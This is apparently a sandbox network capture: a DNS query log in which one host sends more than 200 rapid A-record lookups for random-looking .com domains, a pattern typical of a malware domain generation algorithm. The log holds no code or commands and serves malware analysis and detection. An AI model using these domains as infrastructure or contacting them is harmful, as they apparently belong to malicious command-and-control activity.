Nov 11, 2024 18:50:33.353801966 CET	192.168.2.6	1.1.1.1	0xfb1	Standard query (0)	lykymox.com	A (IP address)	IN (0x0001)	false
Nov 11, 2024 18:50:33.361577034 CET	192.168.2.6	1.1.1.1	0x6337	Standard query (0)	vopydek.com	A (IP address)	IN (0x0001)	false
Nov 11, 2024 18:50:33.366065025 CET	192.168.2.6	1.1.1.1	0x394b	Standard query (0)	pujymip.com	A (IP address)	IN (0x0001)	false
Nov 11, 2024 18:50:33.367285967 CET	192.168.2.6	1.1.1.1	0xe995	Standard query (0)	qebylug.com	A (IP address)	IN (0x0001)	false
Nov 11, 2024 18:50:33.384489059 CET	192.168.2.6	1.1.1.1	0xb058	Standard query (0)	qetysal.com	A (IP address)	IN (0x0001)	false
Nov 11, 2024 18:50:33.385446072 CET	192.168.2.6	1.1.1.1	0x454e	Standard query (0)	lyvylyn.com	A (IP address)	IN (0x0001)	false
Nov 11, 2024 18:50:33.387006044 CET	192.168.2.6	1.1.1.1	0xa8d2	Standard query (0)	vojymic.com	A (IP address)	IN (0x0001)	false
Nov 11, 2024 18:50:33.388262987 CET	192.168.2.6	1.1.1.1	0xdd56	Standard query (0)	gatydaw.com	A (IP address)	IN (0x0001)	false
Nov 11, 2024 18:50:33.394844055 CET	192.168.2.6	1.1.1.1	0xbddc	Standard query (0)	gahynus.com	A (IP address)	IN (0x0001)	false
Nov 11, 2024 18:50:33.410953045 CET	192.168.2.6	1.1.1.1	0x5da1	Standard query (0)	volymum.com	A (IP address)	IN (0x0001)	false
Nov 11, 2024 18:50:33.419688940 CET	192.168.2.6	1.1.1.1	0xb11b	Standard query (0)	vowypit.com	A (IP address)	IN (0x0001)	false
Nov 11, 2024 18:50:33.424951077 CET	192.168.2.6	1.1.1.1	0x81ad	Standard query (0)	lymylyr.com	A (IP address)	IN (0x0001)	false
Nov 11, 2024 18:50:33.427814007 CET	192.168.2.6	1.1.1.1	0x1896	Standard query (0)	gadydas.com	A (IP address)	IN (0x0001)	false
Nov 11, 2024 18:50:33.428821087 CET	192.168.2.6	1.1.1.1	0x7973	Standard query (0)	puzymig.com	A (IP address)	IN (0x0001)	false
Nov 11, 2024 18:50:33.444664955 CET	192.168.2.6	1.1.1.1	0x248d	Standard query (0)	qeqylyl.com	A (IP address)	IN (0x0001)	false
Nov 11, 2024 18:50:33.445023060 CET	192.168.2.6	1.1.1.1	0x7cbe	Standard query (0)	vofydac.com	A (IP address)	IN (0x0001)	false
Nov 11, 2024 18:50:33.450146914 CET	192.168.2.6	1.1.1.1	0xbc7d	Standard query (0)	lyxymin.com	A (IP address)	IN (0x0001)	false
Nov 11, 2024 18:50:33.453931093 CET	192.168.2.6	1.1.1.1	0x306a	Standard query (0)	gaqyzuw.com	A (IP address)	IN (0x0001)	false
Nov 11, 2024 18:50:33.455847025 CET	192.168.2.6	1.1.1.1	0xebba	Standard query (0)	qexyqog.com	A (IP address)	IN (0x0001)	false
Nov 11, 2024 18:50:33.458620071 CET	192.168.2.6	1.1.1.1	0xf96	Standard query (0)	vowyzuk.com	A (IP address)	IN (0x0001)	false
Nov 11, 2024 18:50:33.468007088 CET	192.168.2.6	1.1.1.1	0x9781	Standard query (0)	pufydep.com	A (IP address)	IN (0x0001)	false
Nov 11, 2024 18:50:33.468827963 CET	192.168.2.6	1.1.1.1	0xe0ef	Standard query (0)	lygyfex.com	A (IP address)	IN (0x0001)	false
Nov 11, 2024 18:50:33.543097019 CET	192.168.2.6	1.1.1.1	0xcf68	Standard query (0)	qegyfyp.com	A (IP address)	IN (0x0001)	false
Nov 11, 2024 18:50:33.549917936 CET	192.168.2.6	1.1.1.1	0x62db	Standard query (0)	vocyqaf.com	A (IP address)	IN (0x0001)	false
Nov 11, 2024 18:50:33.563604116 CET	192.168.2.6	1.1.1.1	0xbe03	Standard query (0)	qetyxiq.com	A (IP address)	IN (0x0001)	false
Nov 11, 2024 18:50:33.571603060 CET	192.168.2.6	1.1.1.1	0x10be	Standard query (0)	gahyfyz.com	A (IP address)	IN (0x0001)	false
Nov 11, 2024 18:50:33.588484049 CET	192.168.2.6	1.1.1.1	0xff5e	Standard query (0)	gacyqob.com	A (IP address)	IN (0x0001)	false
Nov 11, 2024 18:50:33.589489937 CET	192.168.2.6	1.1.1.1	0xe185	Standard query (0)	puvywav.com	A (IP address)	IN (0x0001)	false
Nov 11, 2024 18:50:33.589943886 CET	192.168.2.6	1.1.1.1	0x5c02	Standard query (0)	puryxuq.com	A (IP address)	IN (0x0001)	false
Nov 11, 2024 18:50:33.590672016 CET	192.168.2.6	1.1.1.1	0x6ca3	Standard query (0)	lyryxij.com	A (IP address)	IN (0x0001)	false
Nov 11, 2024 18:50:33.620101929 CET	192.168.2.6	1.1.1.1	0xf714	Standard query (0)	qekyhil.com	A (IP address)	IN (0x0001)	false
Nov 11, 2024 18:50:33.621606112 CET	192.168.2.6	1.1.1.1	0xb281	Standard query (0)	qegynuv.com	A (IP address)	IN (0x0001)	false
Nov 11, 2024 18:50:33.645428896 CET	192.168.2.6	1.1.1.1	0x5f0a	Standard query (0)	lykygur.com	A (IP address)	IN (0x0001)	false
Nov 11, 2024 18:50:33.645728111 CET	192.168.2.6	1.1.1.1	0x6873	Standard query (0)	pupycag.com	A (IP address)	IN (0x0001)	false
Nov 11, 2024 18:50:33.646007061 CET	192.168.2.6	1.1.1.1	0xd8fb	Standard query (0)	vonyryc.com	A (IP address)	IN (0x0001)	false
Nov 11, 2024 18:50:33.646249056 CET	192.168.2.6	1.1.1.1	0x42ab	Standard query (0)	pumytup.com	A (IP address)	IN (0x0001)	false
Nov 11, 2024 18:50:33.646466970 CET	192.168.2.6	1.1.1.1	0xb046	Standard query (0)	pujygul.com	A (IP address)	IN (0x0001)	false
Nov 11, 2024 18:50:33.646656036 CET	192.168.2.6	1.1.1.1	0x17f1	Standard query (0)	ganyrys.com	A (IP address)	IN (0x0001)	false
Nov 11, 2024 18:50:33.652326107 CET	192.168.2.6	1.1.1.1	0xc783	Standard query (0)	gacykeh.com	A (IP address)	IN (0x0001)	false
Nov 11, 2024 18:50:33.665158987 CET	192.168.2.6	1.1.1.1	0xfb7	Standard query (0)	lysyvan.com	A (IP address)	IN (0x0001)	false
Nov 11, 2024 18:50:33.665330887 CET	192.168.2.6	1.1.1.1	0x1acd	Standard query (0)	purypol.com	A (IP address)	IN (0x0001)	false
Nov 11, 2024 18:50:33.665642023 CET	192.168.2.6	1.1.1.1	0x4942	Standard query (0)	gadyveb.com	A (IP address)	IN (0x0001)	false
Nov 11, 2024 18:50:33.665957928 CET	192.168.2.6	1.1.1.1	0x3911	Standard query (0)	gaqypiz.com	A (IP address)	IN (0x0001)	false
Nov 11, 2024 18:50:33.672481060 CET	192.168.2.6	1.1.1.1	0x1652	Standard query (0)	vopycom.com	A (IP address)	IN (0x0001)	false
Nov 11, 2024 18:50:33.673048019 CET	192.168.2.6	1.1.1.1	0x8703	Standard query (0)	puzyjoq.com	A (IP address)	IN (0x0001)	false
Nov 11, 2024 18:50:33.673651934 CET	192.168.2.6	1.1.1.1	0xcc09	Standard query (0)	puvylyg.com	A (IP address)	IN (0x0001)	false
Nov 11, 2024 18:50:33.676316023 CET	192.168.2.6	1.1.1.1	0x6ebf	Standard query (0)	pufybyv.com	A (IP address)	IN (0x0001)	false
Nov 11, 2024 18:50:33.676779985 CET	192.168.2.6	1.1.1.1	0x81d3	Standard query (0)	lygynud.com	A (IP address)	IN (0x0001)	false
Nov 11, 2024 18:50:33.685956001 CET	192.168.2.6	1.1.1.1	0x74b1	Standard query (0)	lymytux.com	A (IP address)	IN (0x0001)	false
Nov 11, 2024 18:50:33.687298059 CET	192.168.2.6	1.1.1.1	0x9f1e	Standard query (0)	lyvywed.com	A (IP address)	IN (0x0001)	false
Nov 11, 2024 18:50:33.687725067 CET	192.168.2.6	1.1.1.1	0x21c8	Standard query (0)	volyjok.com	A (IP address)	IN (0x0001)	false
Nov 11, 2024 18:50:33.688175917 CET	192.168.2.6	1.1.1.1	0x6cc6	Standard query (0)	lyrysor.com	A (IP address)	IN (0x0001)	false
Nov 11, 2024 18:50:33.688376904 CET	192.168.2.6	1.1.1.1	0xee8a	Standard query (0)	qedyveg.com	A (IP address)	IN (0x0001)	false
Nov 11, 2024 18:50:33.688544989 CET	192.168.2.6	1.1.1.1	0xedb	Standard query (0)	qeqytup.com	A (IP address)	IN (0x0001)	false
Nov 11, 2024 18:50:33.690730095 CET	192.168.2.6	1.1.1.1	0xaf7f	Standard query (0)	vocykem.com	A (IP address)	IN (0x0001)	false
Nov 11, 2024 18:50:33.691030025 CET	192.168.2.6	1.1.1.1	0xef26	Standard query (0)	lyxyjaj.com	A (IP address)	IN (0x0001)	false
Nov 11, 2024 18:50:33.691454887 CET	192.168.2.6	1.1.1.1	0x6c9a	Standard query (0)	qebyrev.com	A (IP address)	IN (0x0001)	false
Nov 11, 2024 18:50:33.694997072 CET	192.168.2.6	1.1.1.1	0xdadd	Standard query (0)	galyhiw.com	A (IP address)	IN (0x0001)	false
Nov 11, 2024 18:50:33.695271969 CET	192.168.2.6	1.1.1.1	0x96d2	Standard query (0)	gatycoh.com	A (IP address)	IN (0x0001)	false
Nov 11, 2024 18:50:33.695518970 CET	192.168.2.6	1.1.1.1	0xab4b	Standard query (0)	qexykaq.com	A (IP address)	IN (0x0001)	false
Nov 11, 2024 18:50:33.712315083 CET	192.168.2.6	1.1.1.1	0xa7f7	Standard query (0)	vofybyf.com	A (IP address)	IN (0x0001)	false
Nov 11, 2024 18:50:33.716938972 CET	192.168.2.6	1.1.1.1	0xd256	Standard query (0)	vojygut.com	A (IP address)	IN (0x0001)	false
Nov 11, 2024 18:50:38.678922892 CET	192.168.2.6	1.1.1.1	0x41d1	Standard query (0)	qebykap.com	A (IP address)	IN (0x0001)	false
Nov 11, 2024 18:50:38.687304020 CET	192.168.2.6	1.1.1.1	0x9015	Standard query (0)	vopypif.com	A (IP address)	IN (0x0001)	false
Nov 11, 2024 18:50:38.690649986 CET	192.168.2.6	1.1.1.1	0x91ad	Standard query (0)	ganyqow.com	A (IP address)	IN (0x0001)	false
Nov 11, 2024 18:50:38.691045046 CET	192.168.2.6	1.1.1.1	0x5521	Standard query (0)	vopyzuc.com	A (IP address)	IN (0x0001)	false
Nov 11, 2024 18:50:38.694417953 CET	192.168.2.6	1.1.1.1	0x61b4	Standard query (0)	puvymul.com	A (IP address)	IN (0x0001)	false
Nov 11, 2024 18:50:38.700654984 CET	192.168.2.6	1.1.1.1	0x85b	Standard query (0)	gahydoh.com	A (IP address)	IN (0x0001)	false
Nov 11, 2024 18:50:38.707710028 CET	192.168.2.6	1.1.1.1	0xda5d	Standard query (0)	qebyqil.com	A (IP address)	IN (0x0001)	false
Nov 11, 2024 18:50:38.708123922 CET	192.168.2.6	1.1.1.1	0x9f6a	Standard query (0)	qetylyv.com	A (IP address)	IN (0x0001)	false
Nov 11, 2024 18:50:38.714607000 CET	192.168.2.6	1.1.1.1	0x5e07	Standard query (0)	pujydag.com	A (IP address)	IN (0x0001)	false
Nov 11, 2024 18:50:38.714782000 CET	192.168.2.6	1.1.1.1	0x332d	Standard query (0)	gatyzys.com	A (IP address)	IN (0x0001)	false
Nov 11, 2024 18:50:38.716830015 CET	192.168.2.6	1.1.1.1	0xd02a	Standard query (0)	lyvymir.com	A (IP address)	IN (0x0001)	false
Nov 11, 2024 18:50:38.718161106 CET	192.168.2.6	1.1.1.1	0xaa05	Standard query (0)	ganykaz.com	A (IP address)	IN (0x0001)	false
Nov 11, 2024 18:50:38.718504906 CET	192.168.2.6	1.1.1.1	0x1e72	Standard query (0)	vojydam.com	A (IP address)	IN (0x0001)	false
Nov 11, 2024 18:50:38.719069004 CET	192.168.2.6	1.1.1.1	0x2de1	Standard query (0)	lykyfen.com	A (IP address)	IN (0x0001)	false
Nov 11, 2024 18:50:38.719429016 CET	192.168.2.6	1.1.1.1	0x2cd5	Standard query (0)	qedysov.com	A (IP address)	IN (0x0001)	false
Nov 11, 2024 18:50:38.719788074 CET	192.168.2.6	1.1.1.1	0x271a	Standard query (0)	galynuh.com	A (IP address)	IN (0x0001)	false
Nov 11, 2024 18:50:38.720439911 CET	192.168.2.6	1.1.1.1	0x9769	Standard query (0)	lykynyj.com	A (IP address)	IN (0x0001)	false
Nov 11, 2024 18:50:38.720674038 CET	192.168.2.6	1.1.1.1	0xdfbd	Standard query (0)	lysysod.com	A (IP address)	IN (0x0001)	false
Nov 11, 2024 18:50:38.721852064 CET	192.168.2.6	1.1.1.1	0x830e	Standard query (0)	volygyf.com	A (IP address)	IN (0x0001)	false
Nov 11, 2024 18:50:38.721852064 CET	192.168.2.6	1.1.1.1	0x50db	Standard query (0)	qekynuq.com	A (IP address)	IN (0x0001)	false
Nov 11, 2024 18:50:38.721852064 CET	192.168.2.6	1.1.1.1	0x5282	Standard query (0)	pupypiv.com	A (IP address)	IN (0x0001)	false
Nov 11, 2024 18:50:38.722505093 CET	192.168.2.6	1.1.1.1	0x85d7	Standard query (0)	vonyket.com	A (IP address)	IN (0x0001)	false
Nov 11, 2024 18:50:38.723274946 CET	192.168.2.6	1.1.1.1	0xacfe	Standard query (0)	pumywaq.com	A (IP address)	IN (0x0001)	false
Nov 11, 2024 18:50:38.723417044 CET	192.168.2.6	1.1.1.1	0x7cbf	Standard query (0)	pufycol.com	A (IP address)	IN (0x0001)	false
Nov 11, 2024 18:50:38.724001884 CET	192.168.2.6	1.1.1.1	0xa311	Standard query (0)	vonyqok.com	A (IP address)	IN (0x0001)	false
Nov 11, 2024 18:50:38.724322081 CET	192.168.2.6	1.1.1.1	0x6c62	Standard query (0)	lyxygud.com	A (IP address)	IN (0x0001)	false
Nov 11, 2024 18:50:38.731894016 CET	192.168.2.6	1.1.1.1	0x90d9	Standard query (0)	pumylel.com	A (IP address)	IN (0x0001)	false
Nov 11, 2024 18:50:38.776287079 CET	192.168.2.6	1.1.1.1	0x15c2	Standard query (0)	qexyhuv.com	A (IP address)	IN (0x0001)	false
Nov 11, 2024 18:50:38.776494026 CET	192.168.2.6	1.1.1.1	0xd1b1	Standard query (0)	lyvyjox.com	A (IP address)	IN (0x0001)	false
Nov 11, 2024 18:50:38.776808023 CET	192.168.2.6	1.1.1.1	0x62d5	Standard query (0)	pujybyq.com	A (IP address)	IN (0x0001)	false
Nov 11, 2024 18:50:38.777476072 CET	192.168.2.6	1.1.1.1	0x860c	Standard query (0)	qegysoq.com	A (IP address)	IN (0x0001)	false
Nov 11, 2024 18:50:38.778069019 CET	192.168.2.6	1.1.1.1	0xcbac	Standard query (0)	qexynyp.com	A (IP address)	IN (0x0001)	false
Nov 11, 2024 18:50:38.778481007 CET	192.168.2.6	1.1.1.1	0x6bf1	Standard query (0)	lyxynyx.com	A (IP address)	IN (0x0001)	false
Nov 11, 2024 18:50:38.784154892 CET	192.168.2.6	1.1.1.1	0x54f5	Standard query (0)	gacynuz.com	A (IP address)	IN (0x0001)	false
Nov 11, 2024 18:50:38.784334898 CET	192.168.2.6	1.1.1.1	0x35a0	Standard query (0)	gaqyreh.com	A (IP address)	IN (0x0001)	false
Nov 11, 2024 18:50:38.784554958 CET	192.168.2.6	1.1.1.1	0xa24e	Standard query (0)	gatypub.com	A (IP address)	IN (0x0001)	false
Nov 11, 2024 18:50:38.785152912 CET	192.168.2.6	1.1.1.1	0x12a1	Standard query (0)	lymywaj.com	A (IP address)	IN (0x0001)	false
Nov 11, 2024 18:50:38.801676035 CET	192.168.2.6	1.1.1.1	0xc577	Standard query (0)	pupyxup.com	A (IP address)	IN (0x0001)	false
Nov 11, 2024 18:50:38.807682991 CET	192.168.2.6	1.1.1.1	0xa5a0	Standard query (0)	lysyxux.com	A (IP address)	IN (0x0001)	false
Nov 11, 2024 18:50:38.808665991 CET	192.168.2.6	1.1.1.1	0xce0	Standard query (0)	qekyfeg.com	A (IP address)	IN (0x0001)	false
Nov 11, 2024 18:50:38.816545963 CET	192.168.2.6	1.1.1.1	0x589	Standard query (0)	qedyxip.com	A (IP address)	IN (0x0001)	false
Nov 11, 2024 18:50:38.816962004 CET	192.168.2.6	1.1.1.1	0x3a80	Standard query (0)	puzyguv.com	A (IP address)	IN (0x0001)	false
Nov 11, 2024 18:50:38.817842960 CET	192.168.2.6	1.1.1.1	0xdcc2	Standard query (0)	vowykaf.com	A (IP address)	IN (0x0001)	false
Nov 11, 2024 18:50:38.817909956 CET	192.168.2.6	1.1.1.1	0xb6ad	Standard query (0)	purylev.com	A (IP address)	IN (0x0001)	false
Nov 11, 2024 18:50:38.821347952 CET	192.168.2.6	1.1.1.1	0x4d1c	Standard query (0)	lygysij.com	A (IP address)	IN (0x0001)	false
Nov 11, 2024 18:50:38.821791887 CET	192.168.2.6	1.1.1.1	0x2d66	Standard query (0)	gaqykab.com	A (IP address)	IN (0x0001)	false
Nov 11, 2024 18:50:38.822055101 CET	192.168.2.6	1.1.1.1	0xc6b2	Standard query (0)	lyryled.com	A (IP address)	IN (0x0001)	false
Nov 11, 2024 18:50:38.822360039 CET	192.168.2.6	1.1.1.1	0x377e	Standard query (0)	gacyhis.com	A (IP address)	IN (0x0001)	false
Nov 11, 2024 18:50:38.822751045 CET	192.168.2.6	1.1.1.1	0xad1a	Standard query (0)	pufypiq.com	A (IP address)	IN (0x0001)	false
Nov 11, 2024 18:50:38.822988033 CET	192.168.2.6	1.1.1.1	0xd639	Standard query (0)	vocymut.com	A (IP address)	IN (0x0001)	false
Nov 11, 2024 18:50:38.823146105 CET	192.168.2.6	1.1.1.1	0xe776	Standard query (0)	lygyvar.com	A (IP address)	IN (0x0001)	false
Nov 11, 2024 18:50:38.823164940 CET	192.168.2.6	1.1.1.1	0x7a8e	Standard query (0)	gadyciz.com	A (IP address)	IN (0x0001)	false
Nov 11, 2024 18:50:38.823345900 CET	192.168.2.6	1.1.1.1	0x7d5e	Standard query (0)	lyrytun.com	A (IP address)	IN (0x0001)	false
Nov 11, 2024 18:50:38.823406935 CET	192.168.2.6	1.1.1.1	0xd4d9	Standard query (0)	galyfyb.com	A (IP address)	IN (0x0001)	false
Nov 11, 2024 18:50:38.823664904 CET	192.168.2.6	1.1.1.1	0x5c7c	Standard query (0)	vojybek.com	A (IP address)	IN (0x0001)	false
Nov 11, 2024 18:50:38.823869944 CET	192.168.2.6	1.1.1.1	0xd87c	Standard query (0)	vowyrym.com	A (IP address)	IN (0x0001)	false
Nov 11, 2024 18:50:38.824050903 CET	192.168.2.6	1.1.1.1	0x3fab	Standard query (0)	qegyval.com	A (IP address)	IN (0x0001)	false
Nov 11, 2024 18:50:38.825711966 CET	192.168.2.6	1.1.1.1	0xf943	Standard query (0)	gahyvew.com	A (IP address)	IN (0x0001)	false
Nov 11, 2024 18:50:38.825942039 CET	192.168.2.6	1.1.1.1	0x9a54	Standard query (0)	qetytug.com	A (IP address)	IN (0x0001)	false
Nov 11, 2024 18:50:38.826180935 CET	192.168.2.6	1.1.1.1	0xb170	Standard query (0)	vofycot.com	A (IP address)	IN (0x0001)	false
Nov 11, 2024 18:50:38.826210022 CET	192.168.2.6	1.1.1.1	0x79ec	Standard query (0)	puvyjop.com	A (IP address)	IN (0x0001)	false
Nov 11, 2024 18:50:38.826420069 CET	192.168.2.6	1.1.1.1	0x8198	Standard query (0)	qeqyreq.com	A (IP address)	IN (0x0001)	false
Nov 11, 2024 18:50:38.829051018 CET	192.168.2.6	1.1.1.1	0xa9a5	Standard query (0)	vocyjic.com	A (IP address)	IN (0x0001)	false
Nov 11, 2024 18:50:38.830120087 CET	192.168.2.6	1.1.1.1	0xb78a	Standard query (0)	purytyg.com	A (IP address)	IN (0x0001)	false
Nov 11, 2024 18:50:39.665096998 CET	192.168.2.6	1.1.1.1	0xd6e	Standard query (0)	ww25.lyxynyx.com	A (IP address)	IN (0x0001)	false
Nov 11, 2024 18:50:39.711780071 CET	192.168.2.6	1.1.1.1	0x9514	Standard query (0)	ww16.vofycot.com	A (IP address)	IN (0x0001)	false
Nov 11, 2024 18:50:40.846554041 CET	192.168.2.6	1.1.1.1	0xe389	Standard query (0)	gahypus.com	A (IP address)	IN (0x0001)	false
Nov 11, 2024 18:50:40.849725962 CET	192.168.2.6	1.1.1.1	0x314f	Standard query (0)	gacyvah.com	A (IP address)	IN (0x0001)	false
Nov 11, 2024 18:50:40.852710009 CET	192.168.2.6	1.1.1.1	0x6072	Standard query (0)	vojypuc.com	A (IP address)	IN (0x0001)	false
Nov 11, 2024 18:50:40.854630947 CET	192.168.2.6	1.1.1.1	0xa00e	Standard query (0)	vopykak.com	A (IP address)	IN (0x0001)	false
Nov 11, 2024 18:50:40.855052948 CET	192.168.2.6	1.1.1.1	0x694e	Standard query (0)	qetykol.com	A (IP address)	IN (0x0001)	false
Nov 11, 2024 18:50:40.864429951 CET	192.168.2.6	1.1.1.1	0xa4d0	Standard query (0)	puryjil.com	A (IP address)	IN (0x0001)	false
Nov 11, 2024 18:50:40.864454985 CET	192.168.2.6	1.1.1.1	0xb016	Standard query (0)	puvybeg.com	A (IP address)	IN (0x0001)	false
Nov 11, 2024 18:50:40.878360987 CET	192.168.2.6	1.1.1.1	0x4155	Standard query (0)	vocybam.com	A (IP address)	IN (0x0001)	false
Nov 11, 2024 18:50:40.878458023 CET	192.168.2.6	1.1.1.1	0x818a	Standard query (0)	qebynyg.com	A (IP address)	IN (0x0001)	false
Nov 11, 2024 18:50:40.882123947 CET	192.168.2.6	1.1.1.1	0xb1da	Standard query (0)	pujypup.com	A (IP address)	IN (0x0001)	false
Nov 11, 2024 18:50:40.883652925 CET	192.168.2.6	1.1.1.1	0xc74d	Standard query (0)	gatykow.com	A (IP address)	IN (0x0001)	false
Nov 11, 2024 18:50:40.884468079 CET	192.168.2.6	1.1.1.1	0x6c03	Standard query (0)	qegytyv.com	A (IP address)	IN (0x0001)	false
Nov 11, 2024 18:50:40.888263941 CET	192.168.2.6	1.1.1.1	0x1d58	Standard query (0)	lyryjir.com	A (IP address)	IN (0x0001)	false
Nov 11, 2024 18:50:40.889532089 CET	192.168.2.6	1.1.1.1	0x8d23	Standard query (0)	lyvynen.com	A (IP address)	IN (0x0001)	false
Nov 11, 2024 18:50:40.891047001 CET	192.168.2.6	1.1.1.1	0x6d27	Standard query (0)	qeqyqiv.com	A (IP address)	IN (0x0001)	false
Nov 11, 2024 18:50:40.891925097 CET	192.168.2.6	1.1.1.1	0x6345	Standard query (0)	pupylaq.com	A (IP address)	IN (0x0001)	false
Nov 11, 2024 18:50:40.892970085 CET	192.168.2.6	1.1.1.1	0xc7c3	Standard query (0)	pufyxug.com	A (IP address)	IN (0x0001)	false
Nov 11, 2024 18:50:40.893501997 CET	192.168.2.6	1.1.1.1	0x9201	Standard query (0)	vowyqoc.com	A (IP address)	IN (0x0001)	false
Nov 11, 2024 18:50:40.928540945 CET	192.168.2.6	1.1.1.1	0xfa95	Standard query (0)	lygyxun.com	A (IP address)	IN (0x0001)	false
Nov 11, 2024 18:50:40.931596994 CET	192.168.2.6	1.1.1.1	0x60b2	Standard query (0)	galyvas.com	A (IP address)	IN (0x0001)	false
Nov 11, 2024 18:50:40.934118986 CET	192.168.2.6	1.1.1.1	0xc624	Standard query (0)	qedytul.com	A (IP address)	IN (0x0001)	false
Nov 11, 2024 18:50:40.935231924 CET	192.168.2.6	1.1.1.1	0xfd92	Standard query (0)	lymyjon.com	A (IP address)	IN (0x0001)	false
Nov 11, 2024 18:50:40.937438965 CET	192.168.2.6	1.1.1.1	0xd7d2	Standard query (0)	puvygyq.com	A (IP address)	IN (0x0001)	false
Nov 11, 2024 18:50:40.941703081 CET	192.168.2.6	1.1.1.1	0x152a	Standard query (0)	pumyjig.com	A (IP address)	IN (0x0001)	false
Nov 11, 2024 18:50:40.942559958 CET	192.168.2.6	1.1.1.1	0x22c7	Standard query (0)	puzydal.com	A (IP address)	IN (0x0001)	false
Nov 11, 2024 18:50:40.954993010 CET	192.168.2.6	1.1.1.1	0x38a8	Standard query (0)	qebyhuq.com	A (IP address)	IN (0x0001)	false
Nov 11, 2024 18:50:40.955228090 CET	192.168.2.6	1.1.1.1	0x3971	Standard query (0)	vopyret.com	A (IP address)	IN (0x0001)	false
Nov 11, 2024 18:50:40.955557108 CET	192.168.2.6	1.1.1.1	0xe4bd	Standard query (0)	qetyrap.com	A (IP address)	IN (0x0001)	false
Nov 11, 2024 18:50:40.955606937 CET	192.168.2.6	1.1.1.1	0xc275	Standard query (0)	pujycov.com	A (IP address)	IN (0x0001)	false
Nov 11, 2024 18:50:40.955849886 CET	192.168.2.6	1.1.1.1	0x8c6a	Standard query (0)	vojycif.com	A (IP address)	IN (0x0001)	false
Nov 11, 2024 18:50:40.956105947 CET	192.168.2.6	1.1.1.1	0xeef2	Standard query (0)	lyvyguj.com	A (IP address)	IN (0x0001)	false
Nov 11, 2024 18:50:40.956151962 CET	192.168.2.6	1.1.1.1	0xc8f0	Standard query (0)	gatyrez.com	A (IP address)	IN (0x0001)	false
Nov 11, 2024 18:50:40.956366062 CET	192.168.2.6	1.1.1.1	0xc462	Standard query (0)	lysytyr.com	A (IP address)	IN (0x0001)	false
Nov 11, 2024 18:50:40.956552029 CET	192.168.2.6	1.1.1.1	0x9e54	Standard query (0)	ganyhuh.com	A (IP address)	IN (0x0001)	false
Nov 11, 2024 18:50:40.972719908 CET	192.168.2.6	1.1.1.1	0x225d	Standard query (0)	vonyjim.com	A (IP address)	IN (0x0001)	false
Nov 11, 2024 18:50:40.973006964 CET	192.168.2.6	1.1.1.1	0x4902	Standard query (0)	lykyvod.com	A (IP address)	IN (0x0001)	false
Nov 11, 2024 18:50:40.973169088 CET	192.168.2.6	1.1.1.1	0x3d15	Standard query (0)	lykysix.com	A (IP address)	IN (0x0001)	false
Nov 11, 2024 18:50:40.973627090 CET	192.168.2.6	1.1.1.1	0x3ae7	Standard query (0)	gaqyqis.com	A (IP address)	IN (0x0001)	false
Nov 11, 2024 18:50:40.974133015 CET	192.168.2.6	1.1.1.1	0xd80f	Standard query (0)	qegyxug.com	A (IP address)	IN (0x0001)	false
Nov 11, 2024 18:50:40.974469900 CET	192.168.2.6	1.1.1.1	0xde88	Standard query (0)	qexyfel.com	A (IP address)	IN (0x0001)	false
Nov 11, 2024 18:50:40.974797010 CET	192.168.2.6	1.1.1.1	0xf7c2	Standard query (0)	ganynyb.com	A (IP address)	IN (0x0001)	false
Nov 11, 2024 18:50:40.974936962 CET	192.168.2.6	1.1.1.1	0xc0f7	Standard query (0)	galydoz.com	A (IP address)	IN (0x0001)	false
Nov 11, 2024 18:50:40.975137949 CET	192.168.2.6	1.1.1.1	0xea00	Standard query (0)	pupytyl.com	A (IP address)	IN (0x0001)	false
Nov 11, 2024 18:50:40.975156069 CET	192.168.2.6	1.1.1.1	0x885c	Standard query (0)	pumymuv.com	A (IP address)	IN (0x0001)	false
Nov 11, 2024 18:50:40.975382090 CET	192.168.2.6	1.1.1.1	0xde7f	Standard query (0)	lymymud.com	A (IP address)	IN (0x0001)	false
Nov 11, 2024 18:50:40.975414038 CET	192.168.2.6	1.1.1.1	0xa7f3	Standard query (0)	volydot.com	A (IP address)	IN (0x0001)	false
Nov 11, 2024 18:50:40.975651979 CET	192.168.2.6	1.1.1.1	0x1bac	Standard query (0)	gahycib.com	A (IP address)	IN (0x0001)	false
Nov 11, 2024 18:50:40.975842953 CET	192.168.2.6	1.1.1.1	0x88c8	Standard query (0)	qeqykog.com	A (IP address)	IN (0x0001)	false
Nov 11, 2024 18:50:40.975895882 CET	192.168.2.6	1.1.1.1	0x8855	Standard query (0)	vofypuk.com	A (IP address)	IN (0x0001)	false
Nov 11, 2024 18:50:40.978198051 CET	192.168.2.6	1.1.1.1	0x994d	Standard query (0)	lyxyfar.com	A (IP address)	IN (0x0001)	false
Nov 11, 2024 18:50:40.981997013 CET	192.168.2.6	1.1.1.1	0xe56	Standard query (0)	vonymuf.com	A (IP address)	IN (0x0001)	false
Nov 11, 2024 18:50:40.982465029 CET	192.168.2.6	1.1.1.1	0xf3d1	Standard query (0)	qedyleq.com	A (IP address)	IN (0x0001)	false
Nov 11, 2024 18:50:40.982949018 CET	192.168.2.6	1.1.1.1	0xf8f2	Standard query (0)	gadyzyh.com	A (IP address)	IN (0x0001)	false
Nov 11, 2024 18:50:40.983145952 CET	192.168.2.6	1.1.1.1	0xcd7b	Standard query (0)	gacyfew.com	A (IP address)	IN (0x0001)	false
Nov 11, 2024 18:50:40.983910084 CET	192.168.2.6	1.1.1.1	0x8ba	Standard query (0)	puzybep.com	A (IP address)	IN (0x0001)	false
Nov 11, 2024 18:50:40.984385967 CET	192.168.2.6	1.1.1.1	0x607	Standard query (0)	qekyvav.com	A (IP address)	IN (0x0001)	false
Nov 11, 2024 18:50:40.989803076 CET	192.168.2.6	1.1.1.1	0xa7f1	Standard query (0)	vocygyk.com	A (IP address)	IN (0x0001)	false
Nov 11, 2024 18:50:40.990391970 CET	192.168.2.6	1.1.1.1	0xa23e	Standard query (0)	lysylej.com	A (IP address)	IN (0x0001)	false
Nov 11, 2024 18:50:40.991166115 CET	192.168.2.6	1.1.1.1	0x94c2	Standard query (0)	qekysip.com	A (IP address)	IN (0x0001)	false
Nov 11, 2024 18:50:40.991806984 CET	192.168.2.6	1.1.1.1	0xfe29	Standard query (0)	lyrywax.com	A (IP address)	IN (0x0001)	false
Nov 11, 2024 18:50:40.994172096 CET	192.168.2.6	1.1.1.1	0x7ffc	Standard query (0)	gadypuw.com	A (IP address)	IN (0x0001)	false
Nov 11, 2024 18:50:40.996511936 CET	192.168.2.6	1.1.1.1	0x461e	Standard query (0)	purywop.com	A (IP address)	IN (0x0001)	false
